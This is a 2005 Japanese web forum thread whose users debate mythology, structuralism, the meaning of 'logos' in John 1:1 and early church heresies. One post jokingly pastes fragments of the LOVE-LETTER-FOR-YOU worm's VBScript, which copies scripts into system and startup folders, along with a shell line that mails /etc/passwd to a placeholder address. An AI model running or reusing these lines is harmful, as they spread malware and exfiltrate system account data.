サッカー・アジアカップの反日問題

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yaoyorozu666様

投稿者: wangjunhe720 投稿日時: 2005/06/17 09:56 投稿番号: [17999 / 21882]
  たくさん事例を挙げてくださり、ありがとうございます。

  神話、話型、伝説、宗教、詩歌(文学)

  そういうものは、何処でより客観的な解釈や区別をつけるかというと、非常に難しい。

  玉葱の皮をむく様に、次々と剥いても中に芯があり、どこまでいけるか?考え込んでしまうことの体験が誰にもあるようです。
  >神話と宗教が渾然一体となっている事が、東洋の神話研究を難しくしている要素の一つと、私は考えますわ。<

  東洋の場合、一層宗教とのかかわりは濃厚である為、さらに難しさが増してきたとのご指摘は一理あろう。

  しかしよく考えれば、神話を宗教の手に渡されてから生じた変化、と芸術の手に渡されて、生じた変化というものは、はやり違います。

  宗教化のパタンはより単純に同一次元へと洗練化していくに比べ、芸術の方においては、より原始的か、より多様化かの道を辿るのではないかと思います。


  道教の場合、せべては仙人、仙女の一族へ纏めていくのはやはり特徴です。

  日本の場合、古事記ではそうでもない所が、日本書紀等を経て、王権神話へと収斂していくのではないか?

  こういう方面の研究もあります。例えば神話と宗教との関係に重点をおく研究、アメリカの神話学者キャンベル(joseph coambell)がいます。

  せっかくここまで来ているので、なんらかの形で、交流しましょう。僕も基本的に文学神話に興味があります。

  >ただの神話好きの戯言とお聞き下さいませ。
失礼致しましたm(_ _)m<

  とんでもございません。そう言われると返って、恐縮になります。

よこ>omoshirokunaiwa殿 (光篇)

投稿者: yasei7 投稿日時: 2005/06/17 08:57 投稿番号: [17998 / 21882]
横から失礼します。私はキリスト教徒でもないし、聖書のことはよく知らないのですが、聖書に興味がありましたので少し勉強させて下さい。議論するとか攻撃するつもりはありませんが、omoshirokunaiwa殿にちょっと質問です。

>今日まで人間は依然として,3,000年以上前に光の創造者によって提起された質問,つまり,「では,光が分散する道はどこか」という質問に完全な答えを出すことができない。

質問   1:

「光が分散する道はどこか」
とはどういう意味ですか?

質問   2:

それが光の創造者によって提起された質問ですか?

質問   3:

「人間は   −−−−−−完全な答えを出すことができない   」

人間が答えを出すとはどういう意味ですか?
聖書の記述を科学的に理解するという意味ですか?
それとも聖書の記述内で首尾一貫性を理解すると言うことですか?
後者の場合ならいくらでも理屈をつけて解釈するのでしょうね。

質問   4:

「3,000年以上前に光の創造者によって提起された質問」   と言う文は
わずか3000年以上前に光がつくられたということですか?
それとも、3000年以上前に創造者が質問を提起したと言うことですか?

質問   5:

>また,光は地上の生物,つまり植物,動物,人間の生存に不可欠でな。

確かに光は地上の生物の生存に不可欠です。
もし、わずか3000年以上前に光がつくられたとすると、それ以前には生物は存在しなかったわけですね。


その辺のことを、もう少しわかりやすく説明してください。

趣味程度に写真をかじっていまして、写真は光の芸術とも言われます。
光篇とありましたのでちょっと除いて見ました。

他のぺーじやこの文の後の方で答えていたらごめんなさい、
他のぺーじやこの下は読んでありません。

おつむが素朴に出来ていますので、
面白く、解りやすく、誠意ある応答をお願いしますね。  
聖書は実に命の書と思いますし興味あります。

このトピに加わるつもりはありませんのでこの話題だけで去ります。
 
それから、キリスト教のことをいろいろ話し合っている解りやすく、
良い掲示板ご存知ですか?
  

 

よこ>omoshirokunaiwa殿(受験知識)

投稿者: yasei7 投稿日時: 2005/06/17 08:49 投稿番号: [17997 / 21882]
下のような記述がありましたが如何でございましょうか?

ネストリウス派   ネストリウスは
  コンスタンティノープル総大司教(在位428〜431)のネストリオス(?〜451ごろ)のキリスト論を支持する教派。アンティオキア学派の流れをくむネストリオスは,マリアはキリストの人性のみの母であり,せいぜい“キリストの母”というべきで“神の母”と呼ぶことに反対した。これが端緒となってキリストの位格をめぐる論争に巻き込まれ,431年のエフェソス公会議で異端と断罪され,上エジプトに追放されてそこで没した。ネストリオスの説の同調者ははじめエデッサ,ついでササン朝ペルシアに逃れて,ニシビスとセレウキア=クテシフォンを中心に独自の教会活動を行った。イスラームの支配下でも活動が許され,インド・トルキスタンをへて唐代初期の中国にも布教し,そこでは景教と呼ばれた。その最盛期(13世紀中ごろ)には,バクダードに移った総大主教のもとに首都大主教27と主教約230を数えたが,14世紀末のティムールの遠征と迫害で急速に衰微した。現在,イラク北部に8万,南インドに7,000人の信者がいるとされる。


-

>受験知識(deamおばたんの)

投稿者: omoshirokunaiwa 投稿日時: 2005/06/17 08:05 投稿番号: [17996 / 21882]
>ネストリ○○○派が異端とされたのわ?<

じぇんじぇんちがうよ〜っ

異端派はアリウス派だよ!
アタナシウス派(正統派)と対立して偶像崇拝、三位一体の教理を否定したんだよ。
だから迫害追放されたわけだよ〜ん♪

ぷっ! 知ったかぶりはタレかぶりより
deamおばたん!いけないよ〜♪

あっ! いけない!!!
ラーメンがない! 腹へったよ〜♪

wangjunhe720様

投稿者: yaoyorozu666 投稿日時: 2005/06/17 01:32 投稿番号: [17995 / 21882]
>>地・水・樹木に関しては、豊穣に通じる点が多い事から、女性性・・・<<
>そうでしょうね。ギリシア神話には確かにそういう解釈があります。<

ギリシア神話だけでは、ありませんわ(^_^)
全てではありませんが、水・豊穣と女神は関係が浅く無いようですわよ。

エジプト神話   神々名簿
http://www5b.biglobe.ne.jp/~moonover/bekkan/god/index2.htm
インド神話
http://contest.thinkquest.jp/tqj2000/30256/ethnology/god/india/index.html
マヤ神話
http://contest.thinkquest.jp/tqj2000/30256/ethnology/god/maya/gods.html
インカ神名辞典
http://www.bb.soma.or.jp/~concrete/myth/incas_n01.htm
ズルワーン教の神話
http://home2.highway.ne.jp/miiboat/HP_Mithraism_Myth_Zurwaniyya.html

Pandaemonium
http://www.pandaemonium.net/frame3.html


西洋のギリシア神話の広範な伝播は、ギリシア神話からローマ神話へと、よく似た状態で移行し、そのローマが一大帝国を築いたのも影響しているのではないかしら?

北欧神話とギリシア神話では、死生観から違いますもの。
西洋も、一括りには考えられませんわね。

宗教とあまり混じり合っていないのも、東洋の神話とは違うと思いますの。
一神教的思想と多神教的思想では、神話の中の神々の性格の変容・追加の可能性に関しても、違いが出て参りませんか?
神話と宗教が渾然一体となっている事が、東洋の神話研究を難しくしている要素の一つと、私は考えますわ。

私、神話や文学の研究をするレベルの知識も見識も持ち合わせておりませんので、誤りが多々あると思いますわ (´Д`)
ただの神話好きの戯言とお聞き下さいませ。
失礼致しましたm(_ _)m

>横>こぴぺ

投稿者: kee_tarou 投稿日時: 2005/06/17 01:22 投稿番号: [17994 / 21882]
お久しぶり〜

>少なくとも戦闘艦艇に関する知識は
皆無であることは判りましたよ<

それで思い出したんだけど、以前、イー
ジス艦の話題があったよね。

あの時、漏れのイージス艦の知識は、最
初の一隻を導入した時の知識しか無かったんです。

で、その後、クグって調べたら・・・

すごいっスね。イージス艦に関して認識不足でした。

「現在配備されているイージス艦一隻をBMD対応にするための予算が平成16年度予算で認められた」by フリー百科事典『ウィキペディア(Wikipedia)

に関して知りませんでした。

ファルコン君の主張どおり相当強力な防
衛力になりますね。

魔除け

投稿者: asian_falcon2005 投稿日時: 2005/06/17 01:21 投稿番号: [17993 / 21882]
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"


メキシコ戦で日本先制!
がんばれ〜!

横>こぴぺ

投稿者: asian_falcon2005 投稿日時: 2005/06/17 00:52 投稿番号: [17992 / 21882]
>ちょっと期待してたんですがね・・・

少なくとも戦闘艦艇に関する知識は
皆無であることは判りましたよ(笑。

>こぴぺ

投稿者: kee_tarou 投稿日時: 2005/06/17 00:46 投稿番号: [17991 / 21882]
資料ありがとうございます。

omoshirokunaiwa君には、

彼が深く理解したキリスト教の本質を
彼自身の説得力のある生きた言葉で説明
してほしかったのであります。

ちょっと期待してたんですがね・・・



>>>そう君たちは既に私から・・・

投稿者: kee_tarou 投稿日時: 2005/06/17 00:28 投稿番号: [17990 / 21882]
omoshirokunaiwa君
まともに答えてくれた事を感謝する。

漏れは、キリスト教の事はチーとも知ら
んので聞いてみたかったのだ。

>「ロゴス」=言葉だよ♪
そんなことも分からんのか<

そんな事が理解できないのよ。単純なフ
レーズだけど、奥が深そうでね。

>日本語理解の言葉ではないぞ〜<

それそれ、その部分を教えてもらいたか
った訳なのさ。
単純に我々が日常で使用している言葉で
あるとすれば、漏れの言葉にも「神性」
があるわけかよ? という事になるじゃろ。

「はじめに言葉ありき」も「ロゴス=言葉=神性」も、
漏れにとっては、どこまでも形而上学的
な言葉のお遊びにしか思えんのよ。

では、具体的に形而下の現象では何が起
こったの、という疑問があるんですね。

その意味では、「そう君たちは既に(光
篇)」の説明の方が漏れには分かりやすいね。

ロゴスはギリシャ語であるわけで、一般
的に古代ギリシャ時代では、御存知の様
に多神教だったわけでしょ。その様な宗
教的バックボーンで使用された「ロゴ
ス」という単語と一神教であるキリスト
教における「ロゴス」という単語の内容
は当然異なる様に思うわけです。そこの
部分のビミョーな違いというものを説明
してほしいなー

という期待があった訳なんです。世の中
には世界観の異なる人々が多くいるわけですね。

例えば、日本で古典文学や古代歌謡を勉
強してきた者に「ロゴス=言葉=神性」と
言われても意味不明なわけです。古代歌
謡においては「言葉」とは「言霊」であ
り「歌」また「命」の意味でもあるから
です。
  で、そんな世界観の異なる人間にも分
かりやすく説明してほすかったのです。


難しいことを、難しく   説明するのは   簡単だけど
難しいことを、簡単に   説明するのは   難しい

と思います。

さらに、ある事象を説明する場合、その
事象に関する単語を使用しないで説明し
てホスイのあります。

例えば、「北」という方角を説明すると
き、「北」という単語を使用しないで説
明してほしいな。



>で、それがどうしたって言うんだい? <

それで、 聖書とカップラーメンの達人である
omoshirokunaiw君が無知な漏れにどれく
らい分かりやすく説明してくれるのかワ
クワクしてますた。

まぁ、長文で説明してくれたのには感謝
しております。しかし、申し訳ないけ
ど、私自身は、全く理解できましぇーん。

yaoyorozu666 様

投稿者: wangjunhe720 投稿日時: 2005/06/17 00:05 投稿番号: [17989 / 21882]
  >地・水・樹木に関しては、豊穣に通じる点が多い事から、女性性が関与しているのではないでしょうかしら?
子を産むのは女性→恵みの元は女性→恵みに関連する物は女性性<

  そうでしょうね。ギリシア神話には確かにそういう解釈があります。

  >事は、単純では決着しそうにありませんわ(^◇^;)<

  >西洋の神々は、その役割が比較的確立していた者が多いように思われますもの。<

  言うまでもなく総ての神話を同次元の下で分析することは、できない。

  神話の同じ仕組みへの着目は、いままでも研究に大勢を占めていたことだろう?例えばユングの場合、「集合無意識の元型」「母の元型」などの概念で捉えている。フロイトは夢の概念で語ったももを、レヴィ=ストロースは神話で語る。

  >西洋の神々は、その役割が比較的確立していた者が多いように思われますもの。・・・<

  この特徴は確かに明確に見えます。ただし、それは研究者側にとっては、どれだけ決定的な条件かというと、多分まったく別事項です。

  西洋の場合、最初やはりギリシア神話を基準に、なんでもそこへ引き寄せ、比較して研究したのですが、いまその点を反省しています。

  いいえ、僕も正直よく分かりません。今まで読んできたのを、思い出しながらでたらめを書いているだけです。

  ただし「権威」がありません。それはいえると思います。

受験知識

投稿者: dream_hydrangea_rainbow 投稿日時: 2005/06/17 00:04 投稿番号: [17988 / 21882]
程度のことで知的云々。。

大学受験を経験していない?

フランクが有利だったのわ?

ネストリ○○○派が異端とされたのわ?

○ルビジョ○派わ?

dreamおばちゃんはやる気持ちは

投稿者: omoshirokunaiwa 投稿日時: 2005/06/16 23:48 投稿番号: [17987 / 21882]
分かるよ!
マインドをコントロールされないように
(つまり、女神オモシロクナイワに乗せられないように)

しかし、三位一体論的考えが支配されたのはニカイア公会議以降だね♪

アタナシウス派のdreamおばちゃん!

まぁ、そんなお話は君には知的オーバーロードだな♪

おやすみ♪

wangjunhe720様

投稿者: yaoyorozu666 投稿日時: 2005/06/16 23:36 投稿番号: [17986 / 21882]
これは、私の勝手な思い込みですけれども、
地・水・樹木に関しては、豊穣に通じる点が多い事から、女性性が関与しているのではないでしょうかしら?
子を産むのは女性→恵みの元は女性→恵みに関連する物は女性性

>東洋に神話の宝庫があるにも関わらず、突出した神話研究の著作があまり見られない。
  いつまでも哲学や神話を、西洋の方に任されては困るね。<
事は、単純では決着しそうにありませんわ(^◇^;)
西洋の神々は、その役割が比較的確立していた者が多いように思われますもの。
それに対し、東洋の神々は、種々の神々が入り乱れ、別神でありながら、同一視される者。同一神でありながら、性格毎に別の姿を持ち、複数視される者。元々の性格に、後から流入してきた概念を組み入れ、取り込み、性格を増やした者。など、流動的な気が致しますわ。

不見識な私見ですけれども・・・m(_ _)m

>>>>そう君たちは既に(光篇)

投稿者: omoshirokunaiwa 投稿日時: 2005/06/16 23:34 投稿番号: [17985 / 21882]
無神論者の我が輩にキツイ質問だ!

>また、「さいしょに光あり」とする文献
もありますが、概念の違いをわかりやすく教えてちょ<

政教分離出来てない中国のキーボー君あんまり考えない方が人民として身のためと思うが、迫害にあうぞよ!


ヘブライ語のオールという語とギリシャ語のフォースという語は,ともしび(エレ 25:10)や太陽のような発光体から放射されるもの,さらには文字通りであれ比喩的にであれ,闇とは反対のものを指しているぞ。(イザ 5:20; ヨハ 11:10,11を読みなさい)光は波動の特性を備えたエネルギーを持つ粒子から成っていると一般に考えられている。しかし,今日まで人間は依然として,3,000年以上前に光の創造者によって提起された質問,つまり,「では,光が分散する道はどこか」という質問に完全な答えを出すことができない。―ヨブ 記38:24参照。
キーボー君自然物理学から言えば
太陽からの光には,それぞれ異なる波長を持つ様々な色が組み合わさっていますな。知ってると思うが物体の色は,物体の表面から光のどんな部分が反射されるかによって決やろ。そういうわけで光は多くの色合いを提供し,人間の目を楽しませてくれますね。また,光は地上の生物,つまり植物,動物,人間の生存に不可欠でな。

光の源 神は光を形造った方,闇を創造した方であられます。(イザヤ書 45:7)神は創造の1日目に,「光が生じるように」と言われました。(創世記 1:3)それ以前に神は,天(太陽や月や星などの「大いなる光」を含む; 詩篇136:7‐9と比較)と地を創造された。(創世記ー 1:1)やから,地に関して光を生じさせるということには,それまで太陽光線がこの惑星に達するのを妨げていた何らかのものを徐々に取り除くことが関係していたと思われますねん。また,光と闇の「区分」は,地球が太陽の周りを回りながら自転することによって生じるようになったに違いありません。(創 1:4,5)それよりもずっと後代に,神は,太陽を崇拝するエジプト人に闇の災厄を下されましたが,イスラエル人はその闇の影響を受けませんでした。(出エジプト記10:21‐23)神はご自分の民をエジプトから導き出した時,火の柱によって光を備えられました。―出エジプト記 13:21; 14:19,20; 詩篇 78:14。

聖書は,光とその創造者を繰り返し結び付けています。詩編作者はこう述べました。「わたしの神よ,あなたはご自分が非常に大いなる方であることを明らかにされました。あなたは尊厳と光輝を身に着け,光を衣のようにしてそれに身を包(まれ)ました」。(詩篇 104:1,2)この宣言は,エゼキエルが幻の中で見た事柄に関する次のような描写とよく調和しています。「わたしは,こはく金のきらめきのようなもの,火のように見えるものをその内側の周囲,その腰のように見える所から上の方に見た。その腰のように見える所から下の方には,火のように見えるものが見えたが,その方の周囲には輝きがあった。降り注ぐ雨の日に雲塊の中に生ずる虹のように見えるものがあった。その周りの輝きはそのようであった。それは見たところ,神の栄光のようであった」。(エゼキエル 1:27,28)それより幾世紀も前,その栄光のほんの部分的な現われによって,モーセの顔は光を放つようになりました。―出 33:22,23; 34:29,30。

「神は光であり,神との結びつきにおいてはいかなる闇もありません」。(ヨハネ一 1:5)神は義であり,廉直であり,聖なる方であられるので(申 32:4; 啓 4:8),一般に闇と結び付いている下劣な汚れた行ないとは何の関係もありません。(ヨブ記 24:14‐16; コリント第二 6:14; テサロニケ第一 5:7,8と比較してちょ!。)

だからまた、「さいしょに光あり」とする文献も分かりやすく理解できるだろ〜
キーボー君。

お。や。す。み。!

こぴぺ

投稿者: dream_hydrangea_rainbow 投稿日時: 2005/06/16 23:26 投稿番号: [17984 / 21882]
http://biblia.milkcafe.to/43-joh-01-01.html

『「言葉」であるロゴスが共にいる神(the God)は,原文においてo qeoVというギリシャ語の表現を取っており,テオスの前に定冠詞「ホ」の付いた形で示されています。これは冠詞の付いたテオスです。冠詞を伴う名詞の構造は実体や人物を指し示すのに対し,動詞に先行する単数形の無冠詞の叙述名詞はあるものの特質を示します。ですから,「言葉」もしくはロゴスが「神」(a god)であった,または「神性を備えていた」,または「神のような者」であったというヨハネの表現は,「言葉」もしくは「ロゴス」が,これと共にいた神(the God)と同じであったことを意味するものではありません。それは単に,「言葉」つまりロゴスのある特質を表わしているに過ぎず,その方が神と全く同一であることを示すものではありません。
……フィリップ・B・ハーナーは,「聖書文献ジャーナル」(Journal of Biblical Literature,第92巻,フィラデルフィア,1973年,85ページ)に掲載された,「限定詞としての無冠詞叙述名詞: マルコ 15章39節およびヨハネ 1章1節」と題する自分の論文の中で次のように述べています。ヨハネ 1:1にあるような,「無冠詞の述語が動詞に先行している[文節]は主として限定詞的意味を持つ。これは,ロゴスがテオスの特質を有していることを示しているのである。述語であるテオスについて,これを特定されたものと取る根拠はどこにもない」。ハーナーは結論として,その論文の87ページでこう述べています。「ヨハネ 1:1の場合,述語の持つ限定詞的働きは極めて顕著であるゆえに,その名詞を特定されたものとみなすことはできない」。』

  しかし、三位一体論者はこの聖句から三位一体を証明しようとしていろいろなことを言っています。
  よく見られるのは、「イエスは神であるゆえに神性を備えている」という三位一体論の法則を本末転倒なやりかたで適用するものです。
  三位一体論者は、「神性を備えているということは神であるということである。それで、この聖句はイエスが神であったことを証明している」と言います。
  しかし、この論法は成立しません。イエスは神の子としての神性を備えているからです。

>>そう君たちは既に私から・・・

投稿者: omoshirokunaiwa 投稿日時: 2005/06/16 23:10 投稿番号: [17983 / 21882]
今日のボランティアはたいへん疲れたよ。眠たいよ〜アァ〜あくびが出るぅ〜

酒の肴にトピを見るとキーボー君がなにやら我輩に質問しているようだが
ちょつと暇つぶしに酔いに任せて世俗者如きの君に返事してあげよう。

無神論者である我輩に尋ねるたぁ〜良い根性しとるやんかぁ〜!


キーボー君の質問
>「はじめに言葉ありき」とありまして

この「言葉」はロゴスである、としていますが、「ロゴス」って何ですか?<

「ロゴス」=言葉だよ♪
そんなことも分からんのか!
日本語理解の言葉ではないぞ〜


ロゴス=言葉=神性   神のこれから行うであろう"御意志"に近い意味と受け止める聖書学者も居るぞ!


その質問に答えるため,ヨハネの福音書の冒頭の,「初めに言葉がおり,言葉は神と共にあり,言葉は神[God]であった」という聖句を引き合いに出す人もいるだろう。(ヨハネ 1:1,ジェームズ王欽定訳)英国国教会の主教と実際には矛盾はしておらんぞ。現代の翻訳者の中には,ジェームズ王欽定訳のこの聖句の訳し方に同意しない人もいます。なぜだと思う?kee_tarou君よ。

元のギリシャ語の「言葉は神であった」という表現では,「神」に相当する語に“the”という定冠詞が付いていないからだ。その前の「言葉は神と共にあり」という表現では,「神」に相当する語は特定のものを指している,つまり定冠詞が付いている。それで,これら二つの語に同じ意味があるとはどうやら考えられないのだろう。

それで,ある翻訳では性質的な面を表に出していますよ。

例えば,その表現を「言葉は神性を備えていた」としている翻訳もあります。

(アメリカ訳,ショーンフィールド訳)モファット訳は,「ロゴスは神性を備えていた」としています。

しかし,そのようなことを強調したかったのであれば,ヨハネは,「神性を備えていた」に相当するギリシャ語テイオスを使うことができただろう,とジョン・ロビンソンと英国の聖書本文批評家フレデリック・ケニヨン卿は指摘しており,「神性」という語が必ずしも適切な訳ではないことを示唆していますな!。

新世界訳は,「神」という語は特定のものを指していないという正しい見方を持ち,ギリシャ語の構造が示唆している性質的な面も表に出しながら,英語の不定冠詞を用いて,「言葉は神[a god]であった」としています。

「新英訳聖書」出版計画の責任者,C・H・ドッド教授はこの訳し方について次のように注解しています。「考えられる翻訳は……『言葉は神[a god]であった』だろう。これは字義訳として文句のつけようがない」。しかし「新英訳聖書」はこの聖句をそのように訳していません。それどころか,その翻訳のヨハネ 1章1節は,「すべてのものが始まったとき,言葉はすでにあった。言葉は神と共に住み,神であったもの,言葉はそのようなものであった」となっています。その翻訳委員会がもっと簡潔に訳そうとしなかったのはなぜであろうか。

ドッド教授はこう答えています。「それが受け入れられない理由は,ヨハネの思想,また正にクリスチャンの思想全体の流れに反するからである
結局のところ、
あらゆるキリスト教宗派の言葉(ロゴス)の解釈が違うわけだ!

しかし、言えるのはロゴスつまり、神の御意志が初めにあったとするのが理解しやすいだろう。
kee_tarou君!

聖書が純粋に意味するところ

イエスは神[a god]であり,創造者なる神と同じではないという考えは,ヨハネ(つまり使徒ヨハネ)の思想やクリスチャンの思想全体と対立すると言えるようだ。イエスと神に言及している幾つかの聖句を調べてみると分かる。そうすれば,アタナシウス信経の成立前に生きていた注釈者たちがそれらの聖句についてどのように考えていたかが分かるだろう。キーボー君

で、それがどうしたって言うんだい?

くら様

投稿者: yaoyorozu666 投稿日時: 2005/06/16 22:53 投稿番号: [17982 / 21882]
流れ星を凶星と見る必要はありませんわよ(⌒^⌒)b

>流れ星に出会うと近い縁者と生死の別れが有りまする。
このジンクス何とか変えたい・・・・・<
流れ星は一時間に一個程度の頻度で見る事が出来るようですの(^▽^)
星のよく見える地で、夜空を見上げる事を御薦め致しますわ(^◇^♪
きっと、ジンクスは変わりましてよ。

wangjunhe720様

投稿者: yaoyorozu666 投稿日時: 2005/06/16 22:48 投稿番号: [17981 / 21882]
よく判りましたわ(^_^)

私が文を書くのが遅いばっかりに、質問を書きましたのは追伸を読む前でしたの。

wangjunhe720様

投稿者: yaoyorozu666 投稿日時: 2005/06/16 22:44 投稿番号: [17980 / 21882]
有り難うございます(^-^ )

同じ原典を持つ民話・説話であっても、それを伝える人物が何を伝えたいかに依って、違ってくると言うことなのでしょうかしら?
忠臣蔵では、嫌なキャラの吉良上野介も、ゆかりの地では名君と言われていますけれども、
神話に対して、そのような見方をした物と思えば宜しいのかしら(⌒^⌒)

多民族に共通する伝説は少ないような気が致しますが、どうでしょうか?

それとも、伝説全文ではなくて、一部分のみに注視するのかしら?
蛇に対する神聖視と邪悪視の違いのような・・・。

質問ばかりになってしまって、ごめんなさいませm(_ _)m

追伸

投稿者: wangjunhe720 投稿日時: 2005/06/16 22:38 投稿番号: [17979 / 21882]
   1   2   3   4   5   6   7   8

  この数字を神話の根幹を構成する八の要素と見てもよい。

  例えば、七夕伝説

1、乙女の悲恋物語;
2、彼女は父母の意思を反して貧しい青年を牛郎を愛して;

3、彼女は天の川の向こうへ送り込まれ;

4、彼女は天の川のこっちへ来て、愛する人と会わなければ、

5、彼女はカササギの橋を渡らなければ会えない

6、年に一回しかあえない


7、彼女は織姫である

8、実現し難い恋という主題


  勿論、上記八項目より重要な要素が隠されているかもしれないが。


  しかし同じ七夕の話ですが、日本に伝わって、会うために川を渡るのは彼女ではなく、男牛郎の方ということになりました。

  つまり日本での形として、項目4が消える。

  中国の流伝として彼女である。もっとつめれば、増えたり、消えたりする項目が出てきます。以下省略。
・・・・・・・・・・・・・・・・・・・・・

  この違いは偶然に生じたのだろうか?いいえ、何らかの意識が働いた結果であろう。

  ご存知のように

  羽衣の神女は、天から降りた、

  かぐや姫は月から降りて、また帰っていった。

  宇治の橋姫は橋を渡る

  ギリシアの美の女神ヴィーナスは海から出たのである

  等等、一見何も関連のない話であるものばかり、時代も地域も違うではないか?

  しかしよく見ていれば、総ての女神乃至神女、姫は   「水」と関連しているのではないか?海であろうが、川であろうが、湖であろうが。

  さらに彼女たちが人間の世界へ来て、男に会い、場合に子供も生んでいきます。


  もしよく探せばもっと共通性が出てきます。

  細かい感情の動きまで、律動しる呼吸まで、一致するところがあります。


  へ?彼女たちは、誰もが歌が上手なのはなぜだろう?

  神話研究は、面白い。正に無意識を掘り起こして、眠っている人間の真相を明らかにしようとしているからです。

  最近ドイツのクリストファ・ヤメ教授の研究は注目されています。ドイツ派ですね。思弁性の哲学神話論、正にレヴィ=ストロースの文化人類学のフランス派とはまた一味が違う。

  非常に残念なことに、我々東洋に神話の宝庫があるにも関わらず、突出した神話研究の著作があまり見られない。

  いつまでも哲学や神話を、西洋の方に任されては困るね。

  罪深い人類学を捨てて、主題史の研究、つまり本質への着眼がなければ多分無理だろうな。

八百万しゃま

投稿者: patoriot_kura 投稿日時: 2005/06/16 21:19 投稿番号: [17978 / 21882]
流れ星に出会ってる間の願い事を唱えると

願い事があるとの言い伝えありますが・・・

くらちゃん個人の夜空ジンクスは

流れ星に出会うと近い縁者と生死の別れが有りまする。

このジンクス何とか変えたい・・・・・

wangさん

投稿者: patoriot_kura 投稿日時: 2005/06/16 21:08 投稿番号: [17977 / 21882]
>「僕にはどれだけの力があるか、試されている気もします。」<

についてですが

このトビの常連さんは、そんな事思っていませんよ!

肩の力抜いて、登場して下さい。

yaoyorozu666 様

投稿者: wangjunhe720 投稿日時: 2005/06/16 20:44 投稿番号: [17976 / 21882]
  >神話論って、どのような物なのですか?
簡単に教えていただけませんかしら?   m(_ _m)<

  興味津々なご質問にお答えしたいのは正直の気持ちです。だがせっかくのご質問を無駄しないために、僕にはどれだけの力があるか、試されている気もします。

  実際、あなたからご紹介していただけた星座神話の数々が、一体どのような形で我々に言い伝えてきたのだろうか?

  その過程に我々の祖先も含め、我々にどのようなメッセージを携えてくれたのだろうか。

  などなど。

  レヴィ=ストロースがそれを音譜のように構造的な言い伝えとして示してくれました。

  つまりそのバリエーションがメッセージの違う重点を置きながら、伝わるのだというのです。

  例えば、平安時代では

  2    4   5   6    8の形の神話が

1    3   4   5    7   8のような形で、中国或いはヨーロッパで伝わっていたかもしれない。

  今日のアメリカ、インディアでは

  1   2   3      7   8の形で。

  当然これは彼の考えかたですが、

  あなたがいうように、欠けた部分は「無意識の意識」というかもしれない。

  同じく七夕の神話伝説でも、日本、中国、韓国では三通りの形があるかもしれない。

  通常『風土記』という日本の神話ですが、日本の地域によっても形が違うやり方で伝わることもありえます。

  文化の、和歌の、宗教の有り方も関わってきます。

  神話論には決して「権威」がありません。多くは次々否定され、今日に至ったわけです。

  すみません、もっとお話をしたいが、もう力尽きです。次回でも整理して申し上げます。

くら様

投稿者: yaoyorozu666 投稿日時: 2005/06/16 20:27 投稿番号: [17975 / 21882]
どういたしまして(^◇^)

「紫」は、たまたま知っていましたから、検索は苦ではありませんでしたわ。

「中国の星座に関連する神話・伝説」は、私も興味がありましたもの(^_^)
いくつかは知っていた話しもありましたが、調べる過程で、私にも勉強になりましたわ(p^▽^)p

wangjunhe720様

投稿者: yaoyorozu666 投稿日時: 2005/06/16 20:19 投稿番号: [17974 / 21882]
>神話に御興味を示していますし、かつまたお詳しいようなので。<
前半は、あっていますが、後半は・・・(´~`)
知らない事の方が多いですわ。

神話論って、どのような物なのですか?
簡単に教えていただけませんかしら?   m(_ _m)

>>そう君たちは既に

投稿者: patoriot_kura 投稿日時: 2005/06/16 13:43 投稿番号: [17973 / 21882]
wangさん

あの手の輩には、

『陀羅尼』とか『九字』の法を

唱えるのも   良かろうと・・・。

八百万しゃま

投稿者: patoriot_kura 投稿日時: 2005/06/16 13:18 投稿番号: [17972 / 21882]
資料の提供ありがとう!!!

「紫」にしても、今回の「中国の星座に関連する神話・伝説」

自身で探さなければならないところ

なにせ不精でオオチャクな、くらちゃんゆえ

情けなく甘えて申し訳ありません・・・・・。

    m(_ _)m

遠慮無く、今後の良き「栄養」とさせて頂きます。

八百万しゃまが秘書でしたら、最低年収1千万は出さなきゃってなところですね!

>そう君たちは既に

投稿者: wangjunhe720 投稿日時: 2005/06/16 10:37 投稿番号: [17971 / 21882]
  偉いね、なんとエライ方だろう?


  >   もっと、哲学や宗教を話そう♪   <

  キミとは無関係の話です。

  元々、神話の話があったし、レヴィ=ストロースを持ち出したのも、神話の話への回帰に他ならない。



  >dreamのオバタリアンも我慢できずヒィロソフィーに首を突っ込むんできたか<

  こんなことを平気で仕出かすキミが、誰をコントロールできるか?

  なぜ   gate gate pa-ragate pa-rasam・gate bodhi   sv-aha-

  を唱えだしたのか分かりますか?他でもない悪霊のようなキミを退散するためにです。

  登るなよ。

 

>そう君たちは既に私からあなたたちの

投稿者: kee_tarou 投稿日時: 2005/06/16 09:44 投稿番号: [17970 / 21882]
>もっと、哲学や宗教を話そう♪

ハーイ、先生!

教えてください。

旧約聖書の最初に

「はじめに言葉ありき」とありまして

この「言葉」はロゴスである、としていますが、「ロゴス」って何ですか?

教えてくだちゃい

また、「さいしょに光あり」とする文献
もありますが、概念の違いをわかりやすく教えてちょ


>エピクロス派的だね君たちは

ちゃうよ、漏れはヒニク派であります。

そう君たちは既に私からあなたたちの

投稿者: omoshirokunaiwa 投稿日時: 2005/06/16 08:14 投稿番号: [17969 / 21882]
話題をコントロールされている。
言い換えればマインドをコントロールされているのだよ〜。

もっと、哲学や宗教を話そう♪
dreamのオバタリアンも我慢できずヒィロソフィーに首を突っ込むんできたか!

結局のところ君たちたむろするこのトピの連中は単一指向の脳ミソのシナップス
しか無いことが判明したわけだ。

さぁ、もっと君たちの話題をコントロールしょう。
まぁ言い換えればエピクロス派的だね君たちは。

君たちの思考を制御する神オモシロクナイワより。

日本では山口昌男が

投稿者: kee_tarou 投稿日時: 2005/06/16 01:51 投稿番号: [17968 / 21882]
影響を受けていると思いますが、
構造主義ってイマイチ解りませんね。

元々は言語学から来たんでしょ?

漏れには難しすぎてワカラン・・

文化人類学者の先生方から怒られるかも
しれないが、漏れは『ドンファンの教
え』でも読んでる方が楽しいっス

yaoyorozu666 様

投稿者: wangjunhe720 投稿日時: 2005/06/16 01:28 投稿番号: [17967 / 21882]
